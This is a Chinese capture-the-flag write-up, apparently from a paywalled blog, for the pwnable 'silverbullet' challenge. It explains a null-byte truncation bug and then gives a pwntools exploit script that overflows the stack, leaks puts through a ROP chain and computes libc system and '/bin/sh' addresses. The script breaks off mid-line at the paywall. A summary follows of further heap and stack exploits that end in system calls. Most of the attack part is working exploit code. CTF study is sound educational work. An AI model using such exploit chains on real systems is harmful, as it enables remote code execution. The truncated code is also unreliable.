266 pwnable_silverbullet
create
创造个什么武器,然后武器描述,然后长度是它的什么power。
power_up

那么显然我刚刚如果通过’\x00’的截断,power整成0,那么我这里可以直接溢出。
beat

exp
from pwn import *
context.log_level = "debug"
r = remote('node4.buuoj.cn',25942)
libc = ELF('./32/libc-2.23.so')
elf = ELF('./266')
main = 0x8048954
def create(des):
r.sendlineafter("Your choice :",'1')
r.sendafter("Give me your description of bullet :",des)
def power(des):
r.sendlineafter("Your choice :",'2')
r.sendafter("bullet :",des)
def beat():
r.sendlineafter("Your choice :",'3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(puts_plt)+p32(main)+p32(puts_got))
beat()
r.recvuntil('Oh ! You win !!\n')
puts = u32(r.recvuntil('\n',drop=True).ljust(4,'\x00'))
libc_base = puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
print "libc_base = " + hex(libc_base)
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF

这些博客文章涉及了多种安全漏洞的利用,包括缓冲区溢出、未初始化的内存使用以及文件大小限制。在266pwnable_silverbullet中,作者展示了如何通过缓冲区溢出修改`puts`函数指针来执行任意代码。在267qwb2018_slient2中,通过调整输入大小和利用未初始化的内存,实现了`free`函数指针的覆盖,从而达到执行`system`的目的。268suctf2018_heap利用了strlen函数的off-by-one错误进行堆溢出,并通过精心构造的数据修改了`atoi`的got表,最后执行`system`。而在269pwnable_otp中,利用`fread`的未检查错误和`ulimit`命令限制,使得程序接受特定输入,绕过检查。270qctf_2018_babyheap中,通过一系列heap操作,如off-by-null,实现了一次house of ein,最终执行了shell。
最低0.47元/天 解锁文章
280

被折叠的 条评论
为什么被折叠?



